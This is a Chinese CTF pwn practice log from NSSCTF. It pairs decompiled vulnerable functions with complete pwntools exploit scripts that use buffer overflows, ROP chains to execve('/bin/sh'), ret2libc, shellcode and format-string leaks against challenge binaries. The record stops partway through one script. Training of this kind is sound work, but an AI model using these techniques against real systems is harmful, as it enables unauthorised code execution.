1. 1. NSSCTF刷题记录
    1. 1.1. 11.9
      1. 1.1.1. [GDOUCTF 2023]真男人下120层
      2. 1.1.2. [MoeCTF 2022]ret2text
      3. 1.1.3. [NUSTCTF 2022 新生赛]ezPwn
      4. 1.1.4. [CISCN 2023 初赛]烧烤摊儿
      5. 1.1.5. [HDCTF 2023]KEEP ON
      6. 1.1.6. [SWPUCTF 2022 新生赛]Integer Overflow
      7. 1.1.7. [HNCTF 2022 Week1]ezcmp
      8. 1.1.8. [HUBUCTF 2022 新生赛]fmt
      9. 1.1.9. [HNCTF 2022 Week1]ezr0p64
      10. 1.1.10. [SWPUCTF 2022 新生赛]shellcode?
      11. 1.1.11. [HNCTF 2022 WEEK2]ez_backdoor
      12. 1.1.12. [HUBUCTF 2022 新生赛]singout
      13. 1.1.13. [LitCTF 2023]狠狠的溢出涅~
      14. 1.1.14. [HNCTF 2022 Week1]safe_shellcode
      15. 1.1.15. [LitCTF 2023]口算题卡
      16. 1.1.16. [HDCTF 2023]pwnner
    2. 1.2. 11.10
      1. 1.2.1. [MoeCTF 2022]shell
      2. 1.2.2. [HGAME 2023 week1]easy_overflow
      3. 1.2.3. [UUCTF 2022 新生赛]babystack
      4. 1.2.4. [MoeCTF 2021]ret2text_ez
      5. 1.2.5. [MoeCTF 2022]babyfmt
      6. 1.2.6. [SWPUCTF 2022 新生赛]Darling
    3. 1.3. 11.11
      1. 1.3.1. [SDCTF 2022]Horoscope
      2. 1.3.2. [NISACTF 2022]shop_pwn
      3. 1.3.3. [CISCN 2019华中]PWN1
      4. 1.3.4. [BJDCTF 2020]YDSneedGirlfriend
      5. 1.3.5. [CISCN 2022 初赛]login_normal
      6. 1.3.6. [BJDCTF 2020]babyrop2
      7. 1.3.7. [SUCTF 2018 招新赛]basic pwn
      8. 1.3.8. [HDCTF 2023]Minions
    4. 1.4. 11.12
      1. 1.4.1. [HNCTF 2022 WEEK4]ezheap
      2. 1.4.2. [GDOUCTF 2023]Random
    5. 1.5. 11.13
      1. 1.5.1. [UUCTF 2022 新生赛]easystack
      2. 1.5.2. [HDCTF 2023]Makewish
      3. 1.5.3. [CISCN 2023 初赛]funcanary
      4. 1.5.4. [SWPUCTF 2023 秋季新生赛]签到
      5. 1.5.5. [CISCN 2019西南]PWN1
      6. 1.5.6. [HGAME 2023 week1]simple_shellcode
      7. 1.5.7. [HNCTF 2022 WEEK2]ret2libc
      8. 1.5.8. [广东省大学生攻防大赛 2022]jmp_rsp
      9. 1.5.9. [NSSRound#4 SWPU]真签到题来试试吧
      10. 1.5.10. [CISCN 2019华南]PWN4
    6. 1.6. 11.14
      1. 1.6.1. [FSCTF 2023]rdi
      2. 1.6.2. [SWPUCTF 2022 新生赛]FindanotherWay
      3. 1.6.3. [watevrCTF 2019]Voting Machine 2
      4. 1.6.4. [HGAME 2023 week1]choose_the_seat
    7. 1.7. 11.15
      1. 1.7.1. [SWPUCTF 2023 秋季新生赛]Shellcode
    8. 1.8. 11.16
      1. 1.8.1. [NSSRound#9 Basic]MyExec
      2. 1.8.2. [MoeCTF 2022]ret2libc
      3. 1.8.3. [MoeCTF 2021]ezROP

NSSCTF刷题记录

NSSCTF刷题记录

11.9

[GDOUCTF 2023]真男人下120层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from ctypes import *
import time
context.log_level = 'debug'

io = remote("node4.anna.nssctf.cn",28832)

clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

v4 = clibc.srand(int(time.time()))
v5 = clibc.srand(int(v4 % 3 - 1522127470))


time.sleep(1)
for i in range(121):
choice = clibc.random() % 4 + 1
print(i)
io.sendline(str(choice))


io.interactive()

[MoeCTF 2022]ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // eax
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("I've prepared a gift for you, if you don't want to keep learning CET-4 words, find it out!");
v3 = time(0LL);
srand(v3);
v4 = rand();
learn[v4 % 100]();
printf("Make a wish: ");
read(0, buf, 0x64uLL);
return 0;
}

注意一下对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24806
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
bin_sh = 0x0000000004023FF
system = elf.sym['system']
rop = ROP("./pwn")
# rdi = rop.find_gadget(["pop rdi","ret"])[0]
offset = 0x40 + 8
payload = flat([cyclic(offset),0x0000000004014BF])
sl(payload)
inter()

[NUSTCTF 2022 新生赛]ezPwn

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[10]; // [rsp+6h] [rbp-Ah] BYREF

setbuf(_bss_start, 0LL);
puts("Your name plz:");
gets(v4);
if ( v4[0] % 233 == 233 )
system("cat flag");
printf("Can you hack me? %s\n", v4);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 25730
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 18
cat_flag = 0x000000000402013

rop = ROP("./pwn")
r()
payload = flat([cyclic(offset),0x000000000401229])
sl(payload)
inter()

[CISCN 2023 初赛]烧烤摊儿

发现负数有bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from struct import pack
from ctypes import *
# from LibcSearcher import *
from pwn import *
def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28373
io = remote(ip, port)
else:
io = process('./pwn')
info("pid: {}".format(io.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
def shop():
sl("1")
sl("1")
sl("-999999")
# for i in range(0,200):
# shop()
shop()
sl("4")
sl("5")
from struct import pack

# Padding goes here
p = b'a'*0x28

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
sl(p)

inter()

[HDCTF 2023]KEEP ON

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF

memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48uLL);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60uLL);
return 0LL;
}

是一个栈迁移

%16$p​获取到rbp的地址

1
2
pwndbg> p/x 0x7ffe9c6c80b0-0x7ffe9c6c8060
$2 = 0x50

那就是-0x60

本地需要对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28465
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
rop = ROP("./pwn")
rdi = rop.find_gadget(["pop rdi","ret"])[0]
ret = rop.find_gadget(["ret"])[0]
leave = rop.find_gadget(["leave","ret"])[0]
print(leave)
system = elf.sym['system']
#libc = ELF('./libc-2.23-x64.so')
offset = 0x50 + 8



r()
sl("%16$p")
rl("hello,")
fake_rbp = int(p.recvuntil("\n",drop=True).decode("utf-8"),16) - 0x60
success("fake_rbp: {:#x}".format(fake_rbp))

payload = flat([b"/bin/sh\x00",ret,rdi,fake_rbp,system])
payload = payload.ljust(0x50,b'\x00') + p64(fake_rbp) + p64(leave)
# debug()
s(payload)

inter()

[SWPUCTF 2022 新生赛]Integer Overflow

检查安全机制

1
2
3
4
5
6
7
8
9
10
11
n1ght@DESKTOP-ISKQ7KA [13:50:34] [~/pwn/nss/SWPUCTF_2022_新生赛_Integer_Overflow] 
-> % checksec pwn
[*] '/home/n1ght/pwn/nss/SWPUCTF_2022_\xe6\x96\xb0\xe7\x94\x9f\xe8\xb5\x9b_Integer_Overflow/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int overflow()
{
int v1; // [esp+Ch] [ebp-Ch] BYREF

puts("1.yes");
puts("2.no");
printf("Tell me your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 != 1 )
{
if ( v1 == 2 )
choice2();
elsechoice();
}
choice1();
return 0;
}
ssize_t choice1()
{
_BYTE buf[20]; // [esp+8h] [ebp-20h] BYREF
size_t nbytes[2]; // [esp+1Ch] [ebp-Ch] BYREF

printf("\x1B[36m Good luck!!!\n\x1B[0m");
printf("\x1B[5m Tell me your name now!\n\x1B[0m");
printf("First input the length of your name:");
__isoc99_scanf("%u", nbytes);
if ( (int)nbytes[0] > 10 )
{
printf("\x1B[31m Are u kidding??\n\x1B[0m");
exit(-1);
}
printf("\x1B[36m What's u name?\n\x1B[0m");
return read(0, buf, nbytes[0]);
}

发现输入无符号整数,比较适合是int有符号整数,所以存在整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 26538
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
sl("1")
sl("-1")
offset = 0x20 + 4

payload = flat([cyclic(offset)],elf.sym['system'],0xdeaf,next(elf.search(b'/bin/sh\x00')))

sl(payload)
inter()

[HNCTF 2022 Week1]ezcmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char src[44]; // [rsp+20h] [rbp-30h] BYREF
unsigned int seed; // [rsp+4Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
puts("GDB-pwndbg maybe useful");
strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
strcpy(buff, src);
seed = 1;
srand(1u);
enccrypt(buff);
read(0, buf, 0x1EuLL);
if ( strncmp(buff, buf, 0x1EuLL) )
{
puts("Oh No!You lose!!!");
exit(0);
}
return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
# gdb.attach(p,"b *0x00000000040147A")
sl(flat([p64(0x144678aadc0e4072),p64(0x84b6e81a4c7eb0e2),p64(0xf426588abcee2052),p64(0x0000c8cb2c5e90c2)]))
# pause()
inter()

[HUBUCTF 2022 新生赛]fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[32]; // [rsp+10h] [rbp-60h] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+38h] [rbp-38h]
__int64 v7; // [rsp+40h] [rbp-30h]
__int64 v8; // [rsp+48h] [rbp-28h]
__int64 v9; // [rsp+50h] [rbp-20h]
__int64 v10; // [rsp+58h] [rbp-18h]
__int16 v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("flag.txt", "r");
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
if ( stream )
fgets(s, 50, stream);
HIBYTE(v11) = 0;
while ( 1 )
{
puts("Echo as a service");
gets(format);
printf(format);
putchar(10);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 23522
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
# libc = ELF('./libc-2.23-x64.so')
r()
sl("%12$p%13$p%14$p%15$p%16$p%17$p")

s = p.recvuntil("\n",drop=True).decode('utf-8').split("0x")
for str in s:
for i in range(len(str) -2,-1,-2):
byte = str[i:i+2]
print(chr(int(byte,16)),end="")

[HNCTF 2022 Week1]ezr0p64

1
2
3
4
5
6
7
8
ssize_t vuln()
{
_BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

printf("Gift :%p\n", &puts);
puts("Start your rop.");
return read(0, buf, 0x200uLL);
}

发现给了一个puts的地址,可以算出system和bin_sh的值,然后rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22626
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rop = ROP("./pwn")
rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]
rl("Gift :")
puts_addr = int(p.recvuntil("\n",drop=True),16)
success("puts addr: {:#x}".format(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr,bin_sh_addr = get_sb()

offset = 264
payload = flat([cyclic(offset),ret,rdi,bin_sh_addr,system_addr])
# print(puts_addr)
sl(payload)
inter()

[SWPUCTF 2022 新生赛]shellcode?

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x30303000, 0x64uLL);
MEMORY[0x30303000]();
return 0;
}

申请权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 20999
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
sh = asm(shellcraft.sh())

sl(sh)
inter()

[HNCTF 2022 WEEK2]ez_backdoor

1
2
3
4
5
6
7
__int64 vuln()
{
_BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

read(0, buf, 0x140uLL);
return 0LL;
}

注意一下栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
